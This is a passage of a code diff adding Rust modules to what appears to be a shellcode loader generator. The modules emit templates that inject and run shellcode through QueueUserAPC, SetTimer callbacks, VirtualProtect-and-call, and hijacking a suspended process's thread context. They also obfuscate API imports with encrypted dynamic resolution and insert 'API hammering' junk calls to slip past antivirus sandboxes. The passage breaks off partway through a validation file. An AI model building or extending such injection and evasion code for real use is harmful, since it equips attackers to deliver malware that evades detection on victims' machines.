+const CREATE_SUSPENDED: u32 = 0x00000004;
+const INFINITE: u32 = 0xFFFFFFFF;
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS
+ )
+}
+
+pub fn queue_user_apc_init() -> String {
+ r#"
+ unsafe extern "system" fn dummy_thread(_param: *mut std::ffi::c_void) -> u32 {
+ SleepEx(INFINITE, 1);
+ 0
+ }
+"#
+ .to_string()
+}
+
+pub fn queue_user_apc_process() -> String {
+ r#"
+ unsafe {
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let mut thread_id: u32 = 0;
+ let thread = CreateThread(
+ ptr::null(),
+ 0,
+ dummy_thread as *const std::ffi::c_void,
+ ptr::null(),
+ CREATE_SUSPENDED,
+ &mut thread_id,
+ );
+
+ if thread.is_null() {
+ panic!("failed");
+ }
+
+ let result = QueueUserAPC(addr, thread, 0);
+ if result == 0 {
+ panic!("failed");
+ }
+
+ let resume_result = WaitForSingleObject(thread, INFINITE);
+ if resume_result != 0 {
+ panic!("failed");
+ }
+ }
+"#
+ .to_string()
+}
+
+fn generate_queue_user_apc_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(queue_user_apc_import())
+ .with_const(queue_user_apc_const())
+ .with_init(queue_user_apc_init())
+ .with_process(queue_user_apc_process())
+ .build(function_name)
+}
+
+pub fn generate_queue_user_apc_code(function_name: &str) -> String {
+ generate_queue_user_apc_template(function_name)
+}
+
+fn queue_user_apc_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+ let create_thread = create_thread_resolver(encryptor)?;
+ let queue_user_apc = queue_user_apc_resolver(encryptor)?;
+ let wait_for_single_object = wait_for_single_object_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let addr = virtual_alloc(
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ rtl_copy_memory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ {create_thread_resolver}
+ {create_thread_cast}
+
+ let mut thread_id: u32 = 0;
+ let thread = create_thread(
+ ptr::null(),
+ 0,
+ dummy_thread as *const std::ffi::c_void,
+ ptr::null(),
+ CREATE_SUSPENDED,
+ &mut thread_id,
+ );
+
+ if thread.is_null() {{
+ panic!("failed");
+ }}
+
+ {queue_user_apc_resolver}
+ {queue_user_apc_cast}
+
+ let result = queue_user_apc(addr, thread, 0);
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ {wait_for_single_object_resolver}
+ {wait_for_single_object_cast}
+
+ let resume_result = wait_for_single_object(thread, INFINITE);
+ if resume_result != 0 {{
+ panic!("failed");
+ }}
+ }}
+"#,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ create_thread_resolver = create_thread.resolver_code,
+ create_thread_cast = create_thread.cast_code,
+ queue_user_apc_resolver = queue_user_apc.resolver_code,
+ queue_user_apc_cast = queue_user_apc.cast_code,
+ wait_for_single_object_resolver = wait_for_single_object.resolver_code,
+ wait_for_single_object_cast = wait_for_single_object.cast_code,
+ ))
+}
+
+fn generate_queue_user_apc_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = queue_user_apc_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(queue_user_apc_import())
+ .with_const(queue_user_apc_const())
+ .with_init(queue_user_apc_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_queue_user_apc_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_queue_user_apc_template_with_dynamic_resolver(
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate QueueUserAPC code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct QueueUserAPCGenerator;
+
+impl super::trait_generator::TechniqueGenerator for QueueUserAPCGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_queue_user_apc_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_queue_user_apc_code_with_dynamic_resolver(
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "QueueUserAPC"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_queue_user_apc_template_contains_all_parts() {
+ let template = generate_queue_user_apc_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ assert!(template.contains("QueueUserAPC"));
+ assert!(template.contains("dummy_thread"));
+ }
+
+ #[test]
+ fn test_generate_queue_user_apc_code() {
+ let code = generate_queue_user_apc_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("QueueUserAPC"));
+ assert!(code.contains("CreateThread"));
+ }
+
+ #[test]
+ fn test_queue_user_apc_does_not_use_process_param() {
+ let code = generate_queue_user_apc_code("TestFunc");
+ assert!(!code.contains("notepad.exe"));
+ }
+}
diff --git a/src/internals/templates/techniques/set_timer.rs b/src/internals/templates/techniques/set_timer.rs
@@ -0,0 +1,227 @@
+pub fn set_timer_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn set_timer_const() -> String {
+ format!(
+ r#"
+{}
+
+#[link(name = "user32")]
+extern "system" {{
+ fn SetTimer(
+ hwnd: *mut std::ffi::c_void,
+ id_event: usize,
+ elapse: u32,
+ timer_func: *const std::ffi::c_void,
+ ) -> usize;
+
+ fn GetMessageW(
+ msg: *mut u8,
+ hwnd: *mut std::ffi::c_void,
+ msg_filter_min: u32,
+ msg_filter_max: u32,
+ ) -> i32;
+
+ fn DispatchMessageW(
+ msg: *const u8,
+ ) -> isize;
+}}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS
+ )
+}
+
+pub fn set_timer_init() -> String {
+ String::new()
+}
+
+pub fn set_timer_process() -> String {
+ r#"
+ unsafe {
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ let addr_u8 = addr as *mut u8;
+ for i in 0..shellcode.len() {
+ *addr_u8.add(i) = shellcode[i];
+ }
+
+ let dummy: usize = 0;
+ let result = SetTimer(ptr::null_mut(), dummy, 0, addr);
+ if result == 0 {
+ panic!("failed");
+ }
+
+ let mut msg = [0u8; 48];
+ GetMessageW(msg.as_mut_ptr(), ptr::null_mut(), 0, 0);
+ DispatchMessageW(msg.as_ptr());
+ }
+"#
+ .to_string()
+}
+
+fn generate_set_timer_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(set_timer_import())
+ .with_const(set_timer_const())
+ .with_init(set_timer_init())
+ .with_process(set_timer_process())
+ .build(function_name)
+}
+
+pub fn generate_set_timer_code(function_name: &str) -> String {
+ generate_set_timer_template(function_name)
+}
+
+fn set_timer_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let set_timer = set_timer_resolver(encryptor)?;
+ let get_message_w = get_message_w_resolver(encryptor)?;
+ let dispatch_message_w = dispatch_message_w_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let addr = virtual_alloc(
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ let addr_u8 = addr as *mut u8;
+ for i in 0..shellcode.len() {{
+ *addr_u8.add(i) = shellcode[i];
+ }}
+
+ {set_timer_resolver}
+ {set_timer_cast}
+
+ let dummy: usize = 0;
+ let result = set_timer(ptr::null_mut(), dummy, 0, addr);
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ {get_message_w_resolver}
+ {get_message_w_cast}
+
+ {dispatch_message_w_resolver}
+ {dispatch_message_w_cast}
+
+ let mut msg = [0u8; 48];
+ get_message_w(msg.as_mut_ptr(), ptr::null_mut(), 0, 0);
+ dispatch_message_w(msg.as_ptr());
+ }}
+"#,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ set_timer_resolver = set_timer.resolver_code,
+ set_timer_cast = set_timer.cast_code,
+ get_message_w_resolver = get_message_w.resolver_code,
+ get_message_w_cast = get_message_w.cast_code,
+ dispatch_message_w_resolver = dispatch_message_w.resolver_code,
+ dispatch_message_w_cast = dispatch_message_w.cast_code,
+ ))
+}
+
+fn generate_set_timer_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = set_timer_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(set_timer_import())
+ .with_const(set_timer_const())
+ .with_init(set_timer_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_set_timer_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_set_timer_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate SetTimer code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct SetTimerGenerator;
+
+impl super::trait_generator::TechniqueGenerator for SetTimerGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_set_timer_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_set_timer_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "SetTimer"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_set_timer_template_contains_all_parts() {
+ let template = generate_set_timer_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("SetTimer"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ }
+
+ #[test]
+ fn test_generate_set_timer_code() {
+ let code = generate_set_timer_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("SetTimer"));
+ assert!(code.contains("GetMessageW"));
+ }
+}
diff --git a/src/internals/templates/techniques/syscall.rs b/src/internals/templates/techniques/syscall.rs
@@ -0,0 +1,211 @@
+pub fn syscall_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn syscall_const() -> String {
+ format!(
+ r#"
+{}
+
+#[link(name = "ntdll")]
+extern "system" {{
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+}}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS
+ )
+}
+
+pub fn syscall_init() -> String {
+ String::new()
+}
+
+pub fn syscall_process() -> String {
+ r#"
+ unsafe {
+ let addr = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if addr.is_null() {
+ panic!("failed");
+ }
+
+ RtlCopyMemory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let result = VirtualProtect(addr as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
+
+ if result == 0 {
+ panic!("failed");
+ }
+
+ let shellcode_fn: extern "C" fn() = std::mem::transmute(addr);
+ shellcode_fn();
+ }
+"#
+ .to_string()
+}
+
+fn generate_syscall_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(syscall_import())
+ .with_const(syscall_const())
+ .with_init(syscall_init())
+ .with_process(syscall_process())
+ .build(function_name)
+}
+
+pub fn generate_syscall_code(function_name: &str) -> String {
+ generate_syscall_template(function_name)
+}
+
+fn syscall_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc = virtual_alloc_resolver(encryptor)?;
+ let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
+ let virtual_protect = virtual_protect_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ {virtual_alloc_resolver}
+ {virtual_alloc_cast}
+
+ let addr = virtual_alloc(
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {rtl_copy_memory_resolver}
+ {rtl_copy_memory_cast}
+
+ rtl_copy_memory(
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ );
+
+ {virtual_protect_resolver}
+ {virtual_protect_cast}
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ let shellcode_fn: extern "C" fn() = std::mem::transmute(addr);
+ shellcode_fn();
+ }}
+"#,
+ virtual_alloc_resolver = virtual_alloc.resolver_code,
+ virtual_alloc_cast = virtual_alloc.cast_code,
+ rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
+ rtl_copy_memory_cast = rtl_copy_memory.cast_code,
+ virtual_protect_resolver = virtual_protect.resolver_code,
+ virtual_protect_cast = virtual_protect.cast_code,
+ ))
+}
+
+fn generate_syscall_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = syscall_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(syscall_import())
+ .with_const(syscall_const())
+ .with_init(syscall_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_syscall_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_syscall_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate Syscall code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct SyscallGenerator;
+
+impl super::trait_generator::TechniqueGenerator for SyscallGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_syscall_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_syscall_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "Syscall"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_syscall_template_contains_all_parts() {
+ let template = generate_syscall_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("RtlCopyMemory"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("VirtualAlloc"));
+ }
+
+ #[test]
+ fn test_generate_syscall_code() {
+ let code = generate_syscall_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("VirtualProtect"));
+ assert!(code.contains("transmute"));
+ }
+}
diff --git a/src/internals/templates/techniques/thread_hijacking.rs b/src/internals/templates/techniques/thread_hijacking.rs
@@ -0,0 +1,290 @@
+pub fn thread_hijacking_import() -> String {
+ super::common::common_process_injection_imports().to_string()
+}
+
+pub fn thread_hijacking_const() -> String {
+ format!(
+ r#"
+{}
+
+{}
+
+#[repr(C)]
+struct Context {{
+ context_flags: u32,
+ _dr0_dr6: [u64; 7],
+ _seg_cs_ss: [u16; 6],
+ _eflags: u32,
+ rax: u64,
+ rcx: u64,
+ rdx: u64,
+ rbx: u64,
+ rsp: u64,
+ rbp: u64,
+ rsi: u64,
+ rdi: u64,
+ r8: u64,
+ r9: u64,
+ r10: u64,
+ r11: u64,
+ r12: u64,
+ r13: u64,
+ r14: u64,
+ r15: u64,
+ rip: u64,
+ _padding: [u8; 512],
+}}
+
+#[link(name = "kernel32")]
+extern "system" {{
+ {}
+
+ fn OpenThread(
+ desired_access: u32,
+ inherit_handle: i32,
+ thread_id: u32,
+ ) -> *mut std::ffi::c_void;
+
+ fn SuspendThread(thread: *mut std::ffi::c_void) -> u32;
+
+ fn ResumeThread(thread: *mut std::ffi::c_void) -> u32;
+
+ fn GetThreadContext(thread: *mut std::ffi::c_void, context: *mut Context) -> i32;
+
+ fn SetThreadContext(thread: *mut std::ffi::c_void, context: *const Context) -> i32;
+
+ fn CreateToolhelp32Snapshot(flags: u32, process_id: u32) -> *mut std::ffi::c_void;
+
+ fn Thread32First(snapshot: *mut std::ffi::c_void, entry: *mut ThreadEntry) -> i32;
+
+ fn Thread32Next(snapshot: *mut std::ffi::c_void, entry: *mut ThreadEntry) -> i32;
+
+ fn CloseHandle(object: *mut std::ffi::c_void) -> i32;
+}}
+
+#[repr(C)]
+struct ThreadEntry {{
+ size: u32,
+ usage: u32,
+ thread_id: u32,
+ owner_process_id: u32,
+ base_priority: i32,
+ delta_priority: i32,
+ flags: u32,
+}}
+
+const TH32CS_SNAPTHREAD: u32 = 0x4;
+const THREAD_ALL_ACCESS: u32 = 0x1FFFFF;
+const CONTEXT_FULL: u32 = 0x10000B;
+
+{}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS,
+ super::common::COMMON_PROCESS_CONSTANTS,
+ super::common::common_process_injection_externs(),
+ super::common::common_process_structures()
+ )
+}
+
+pub fn thread_hijacking_init() -> String {
+ String::new()
+}
+
+pub fn thread_hijacking_process(process: &str) -> String {
+ let process_wide = format!(
+ "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();",
+ process.replace('\\', "\\\\")
+ );
+
+ format!(
+ r#"
+ unsafe {{
+ {}
+
+ let mut si = StartupInfoW {{
+ cb: std::mem::size_of::<StartupInfoW>() as u32,
+ reserved1: ptr::null_mut(),
+ desktop: ptr::null_mut(),
+ title: ptr::null_mut(),
+ x: 0,
+ y: 0,
+ x_size: 0,
+ y_size: 0,
+ x_count_chars: 0,
+ y_count_chars: 0,
+ fill_attribute: 0,
+ flags: 0,
+ show_window: 0,
+ reserved2: 0,
+ reserved3: ptr::null_mut(),
+ std_input: ptr::null_mut(),
+ std_output: ptr::null_mut(),
+ std_error: ptr::null_mut(),
+ }};
+
+ let mut pi = ProcessInformation {{
+ process: ptr::null_mut(),
+ thread: ptr::null_mut(),
+ process_id: 0,
+ thread_id: 0,
+ }};
+
+ let result = CreateProcessW(
+ process_path.as_ptr(),
+ ptr::null_mut(),
+ ptr::null(),
+ ptr::null(),
+ 0,
+ CREATE_SUSPENDED,
+ ptr::null(),
+ ptr::null(),
+ &si,
+ &mut pi,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ let addr = VirtualAllocEx(
+ pi.process,
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ let write_result = WriteProcessMemory(
+ pi.process,
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ ptr::null_mut(),
+ );
+
+ if write_result == 0 {{
+ panic!("failed");
+ }}
+
+ let mut context = Context {{
+ context_flags: CONTEXT_FULL,
+ _dr0_dr6: [0; 7],
+ _seg_cs_ss: [0; 6],
+ _eflags: 0,
+ rax: 0,
+ rcx: 0,
+ rdx: 0,
+ rbx: 0,
+ rsp: 0,
+ rbp: 0,
+ rsi: 0,
+ rdi: 0,
+ r8: 0,
+ r9: 0,
+ r10: 0,
+ r11: 0,
+ r12: 0,
+ r13: 0,
+ r14: 0,
+ r15: 0,
+ rip: 0,
+ _padding: [0; 512],
+ }};
+
+ if GetThreadContext(pi.thread, &mut context) == 0 {{
+ panic!("failed");
+ }}
+
+ context.rip = addr as u64;
+
+ if SetThreadContext(pi.thread, &context) == 0 {{
+ panic!("failed");
+ }}
+
+ ResumeThread(pi.thread);
+ CloseHandle(pi.thread);
+ CloseHandle(pi.process);
+ }}
+"#,
+ process_wide
+ )
+}
+
+fn generate_thread_hijacking_template(function_name: &str, process: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(thread_hijacking_import())
+ .with_const(thread_hijacking_const())
+ .with_init(thread_hijacking_init())
+ .with_process(thread_hijacking_process(process))
+ .build(function_name)
+}
+
+pub fn generate_thread_hijacking_code(function_name: &str, process: &str) -> String {
+ generate_thread_hijacking_template(function_name, process)
+}
+
+pub struct ThreadHijackingGenerator;
+
+impl super::trait_generator::TechniqueGenerator for ThreadHijackingGenerator {
+ fn generate_code(&self, process: &str, function_name: &str) -> String {
+ generate_thread_hijacking_code(function_name, process)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ process: &str,
+ function_name: &str,
+ _encryption_type: &str,
+ _encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ self.generate_code(process, function_name)
+ }
+
+ fn requires_process(&self) -> bool {
+ true
+ }
+
+ fn name(&self) -> &'static str {
+ "ThreadHijacking"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::internals::templates::techniques::trait_generator::TechniqueGenerator;
+
+ #[test]
+ fn test_generate_thread_hijacking_template_contains_all_parts() {
+ let template = generate_thread_hijacking_template("MyFunction", "cmd.exe");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("SuspendThread"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("GetThreadContext"));
+ assert!(template.contains("SetThreadContext"));
+ }
+
+ #[test]
+ fn test_generate_thread_hijacking_code() {
+ let code = generate_thread_hijacking_code("MyRandomFunc", "notepad.exe");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("ResumeThread"));
+ assert!(code.contains("VirtualAllocEx"));
+ }
+
+ #[test]
+ fn test_thread_hijacking_generator_name() {
+ let gen = ThreadHijackingGenerator;
+ assert_eq!(gen.name(), "ThreadHijacking");
+ }
+
+ #[test]
+ fn test_thread_hijacking_requires_process() {
+ let gen = ThreadHijackingGenerator;
+ assert!(gen.requires_process());
+ }
+}
diff --git a/src/internals/templates/techniques/trait_generator.rs b/src/internals/templates/techniques/trait_generator.rs
@@ -0,0 +1,170 @@
+use crate::encryption::Encryptor;
+
+pub trait TechniqueGenerator {
+ fn generate_code(&self, process: &str, function_name: &str) -> String;
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn Encryptor,
+ ) -> String {
+ let _ = (encryption_type, encryptor);
+ self.generate_code(process, function_name)
+ }
+
+ fn generate_code_with_hammering(&self, process: &str, function_name: &str) -> String {
+ let base_code = self.generate_code(process, function_name);
+ inject_api_hammering_calls(&base_code)
+ }
+
+ fn requires_process(&self) -> bool;
+
+ fn name(&self) -> &'static str;
+
+ fn validate_generated_code(
+ &self,
+ code: &str,
+ ) -> Result<(), Vec<super::super::ValidationError>> {
+ super::super::CodeValidator::validate_technique_code(code)
+ }
+
+ fn add_debug_context(&self, code: String) -> String {
+ if std::env::var("MYPH_DEBUG_CODEGEN").is_ok() {
+ super::super::CodeContext::add_stage_markers(self.name(), &code)
+ } else {
+ code
+ }
+ }
+}
+
+fn inject_api_hammering_calls(code: &str) -> String {
+ let mut result = String::new();
+ let lines: Vec<&str> = code.lines().collect();
+ let mut rng = SimpleRng::new();
+ let mut in_extern_block = false;
+ let mut brace_depth = 0;
+
+ for line in lines.iter() {
+ let trimmed = line.trim();
+
+ // Track extern blocks
+ if trimmed.starts_with("extern") && trimmed.contains('{') {
+ in_extern_block = true;
+ brace_depth = 1;
+ } else if in_extern_block {
+ // Count braces to track nesting
+ brace_depth += trimmed.matches('{').count();
+ brace_depth = brace_depth.saturating_sub(trimmed.matches('}').count());
+
+ // Exit extern block when braces are balanced
+ if brace_depth == 0 {
+ in_extern_block = false;
+ }
+ }
+
+ result.push_str(line);
+ result.push('\n');
+
+ if !in_extern_block && should_inject_hammering_after_line(line) {
+ let hammering_call = generate_random_hammering_call(&mut rng);
+ if !hammering_call.is_empty() {
+ let indent = get_line_indent(line);
+ result.push_str(&format!("{}{}\n", indent, hammering_call));
+ }
+ }
+ }
+
+ result
+}
+
+fn should_inject_hammering_after_line(line: &str) -> bool {
+ let trimmed = line.trim();
+
+ if trimmed.is_empty()
+ || trimmed.starts_with("//")
+ || trimmed.starts_with("const")
+ || trimmed.starts_with("use")
+ || trimmed.starts_with("pub")
+ || trimmed.starts_with("fn")
+ || trimmed.starts_with("struct")
+ || trimmed.starts_with("impl")
+ || trimmed.starts_with("#[")
+ || trimmed.starts_with("for")
+ || trimmed.starts_with("while")
+ || trimmed.starts_with("match")
+ || trimmed.ends_with('{')
+ || trimmed.ends_with(',')
+ {
+ return false;
+ }
+
+ trimmed.ends_with(");") || trimmed.ends_with("};")
+}
+
+fn generate_random_hammering_call(rng: &mut SimpleRng) -> String {
+ let choice = rng.next() % 7;
+
+ match choice {
+ 0 => {
+ let iterations = 200 + (rng.next() % 1050);
+ format!("let _ = write_random_files({});", iterations)
+ }
+ 1 => {
+ let iterations = 200 + (rng.next() % 1050);
+ format!("calc_primes({});", iterations)
+ }
+ 2 => {
+ let num_allocs = 5 + (rng.next() % 20);
+ format!("allocate_random_memory({});", num_allocs)
+ }
+ 3 => {
+ let iterations = 10 + (rng.next() % 50);
+ format!("transform_strings({});", iterations)
+ }
+ 4 => {
+ let max_millis = 10 + (rng.next() % 100);
+ format!("sleep_random_jitter({});", max_millis)
+ }
+ 5 => {
+ let num_queries = 1 + (rng.next() % 5);
+ format!("let _ = query_registry_keys({});", num_queries)
+ }
+ _ => String::new(),
+ }
+}
+
+fn get_line_indent(line: &str) -> String {
+ line.chars().take_while(|c| c.is_whitespace()).collect()
+}
+
+struct SimpleRng {
+ state: u64,
+}
+
+impl SimpleRng {
+ fn new() -> Self {
+ use std::collections::hash_map::RandomState;
+ use std::hash::{BuildHasher, Hasher};
+
+ let random_state = RandomState::new();
+ let mut hasher = random_state.build_hasher();
+
+ let state = std::time::SystemTime::now()
+ .duration_since(std::time::UNIX_EPOCH)
+ .unwrap()
+ .as_nanos() as u64;
+
+ hasher.write_u64(state);
+
+ Self {
+ state: hasher.finish(),
+ }
+ }
+
+ fn next(&mut self) -> usize {
+ self.state = self.state.wrapping_mul(6364136223846793005).wrapping_add(1);
+ (self.state >> 32) as usize
+ }
+}
diff --git a/src/internals/templates/techniques/validation.rs b/src/internals/templates/techniques/validation.rs
@@ -0,0 +1,191 @@
+use super::capabilities::{get_technique_metadata, Capability};
+
+#[derive(Debug, Clone)]
+pub struct ValidationError {
+ pub message: String,
+ pub suggestion: Option<String>,
+}
+
+impl ValidationError {
+ pub fn new(message: String, suggestion: Option<String>) -> Self {
+ Self {
+ message,
+ suggestion,
+ }
+ }
+}
+
+pub struct TechniqueValidator;
+
+impl TechniqueValidator {
+ pub fn validate(
+ technique_name: &str,
+ with_dynamic_resolver: bool,
+ requires_process_param: bool,
+ ) -> Result<(), Vec<ValidationError>> {
+ let mut errors = Vec::new();
+
+ let meta = match get_technique_metadata(technique_name) {
+ Some(m) => m,
+ None => {
+ errors.push(ValidationError::new(
